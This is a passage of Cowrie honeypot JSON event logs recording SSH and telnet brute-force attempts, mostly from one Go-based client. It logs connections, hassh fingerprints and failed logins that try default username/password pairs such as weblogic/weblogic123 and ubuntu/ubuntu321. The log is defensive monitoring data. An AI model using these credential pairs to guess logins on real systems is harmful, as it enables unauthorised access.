"hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:26.507337Z","src_ip":"45.156.87.254","session":"c63cb3210bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:26.839861Z","src_ip":"45.156.87.254","session":"c63cb3210bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:27.929243Z","src_ip":"45.156.87.254","session":"c63cb3210bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58512,"dst_ip":"159.203.135.109","dst_port":22,"session":"549b7f6f8d12","protocol":"ssh","message":"New connection: 45.156.87.254:58512 (159.203.135.109:22) [session: 549b7f6f8d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:30.962856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:30.968109Z","src_ip":"45.156.87.254","session":"549b7f6f8d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:31.283664Z","src_ip":"45.156.87.254","session":"549b7f6f8d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:31.670372Z","src_ip":"45.156.87.254","session":"549b7f6f8d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:32.761286Z","src_ip":"45.156.87.254","session":"549b7f6f8d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.548507690429688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:34.147857Z","src_ip":"104.245.105.2","session":"cf0da38c55ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58522,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f70e710fe92","protocol":"ssh","message":"New connection: 45.156.87.254:58522 (159.203.135.109:22) [session: 4f70e710fe92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:35.806807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:35.811882Z","src_ip":"45.156.87.254","session":"4f70e710fe92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:36.049170Z","src_ip":"45.156.87.254","session":"4f70e710fe92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:36.460988Z","src_ip":"45.156.87.254","session":"4f70e710fe92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:37.549838Z","src_ip":"45.156.87.254","session":"4f70e710fe92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48956,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ad057aa835b","protocol":"ssh","message":"New connection: 45.156.87.254:48956 (159.203.135.109:22) [session: 0ad057aa835b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:40.668453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:40.673089Z","src_ip":"45.156.87.254","session":"0ad057aa835b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:40.845852Z","src_ip":"45.156.87.254","session":"0ad057aa835b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:41.303602Z","src_ip":"45.156.87.254","session":"0ad057aa835b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:42.389462Z","src_ip":"45.156.87.254","session":"0ad057aa835b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48962,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a48c1998cee","protocol":"ssh","message":"New connection: 45.156.87.254:48962 (159.203.135.109:22) [session: 1a48c1998cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:45.459727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:45.577625Z","src_ip":"45.156.87.254","session":"1a48c1998cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:45.582246Z","src_ip":"45.156.87.254","session":"1a48c1998cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:45.934423Z","src_ip":"45.156.87.254","session":"1a48c1998cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:47.023754Z","src_ip":"45.156.87.254","session":"1a48c1998cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46634,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4ad55a7e235","protocol":"ssh","message":"New connection: 45.156.87.254:46634 (159.203.135.109:22) [session: f4ad55a7e235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:50.273389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:50.286827Z","src_ip":"45.156.87.254","session":"f4ad55a7e235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:50.358935Z","src_ip":"45.156.87.254","session":"f4ad55a7e235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:50.683577Z","src_ip":"45.156.87.254","session":"f4ad55a7e235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45436,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ae398d15196","protocol":"telnet","message":"New connection: 20.123.41.163:45436 (10.17.0.5:23) [session: 5ae398d15196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:51.301482Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:51.780468Z","src_ip":"45.156.87.254","session":"f4ad55a7e235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.696653366088867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:54.328894Z","src_ip":"104.245.105.2","session":"09af0ee4c078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":49956,"dst_ip":"10.17.0.5","dst_port":22,"session":"807b85a69a5e","protocol":"ssh","message":"New connection: 186.30.115.187:49956 (10.17.0.5:22) [session: 807b85a69a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:54.896777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:54.902517Z","src_ip":"186.30.115.187","session":"807b85a69a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:55.001632Z","src_ip":"186.30.115.187","session":"807b85a69a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46646,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f07a7ecd1c4","protocol":"ssh","message":"New connection: 45.156.87.254:46646 (159.203.135.109:22) [session: 5f07a7ecd1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:55.178246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:55.183602Z","src_ip":"45.156.87.254","session":"5f07a7ecd1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:55.269544Z","src_ip":"45.156.87.254","session":"5f07a7ecd1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu321","message":"login attempt [ubuntu/ubuntu321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:55.410103Z","src_ip":"186.30.115.187","session":"807b85a69a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:55.667001Z","src_ip":"45.156.87.254","session":"5f07a7ecd1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:56.511630Z","src_ip":"186.30.115.187","session":"807b85a69a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.409902811050415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:56.531188Z","src_ip":"104.245.105.2","session":"f1786f454073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:56.754715Z","src_ip":"45.156.87.254","session":"5f07a7ecd1c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39950,"dst_ip":"159.203.135.109","dst_port":22,"session":"731187a6a692","protocol":"ssh","message":"New connection: 45.156.87.254:39950 (159.203.135.109:22) [session: 731187a6a692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:00.106122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:00.115621Z","src_ip":"45.156.87.254","session":"731187a6a692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 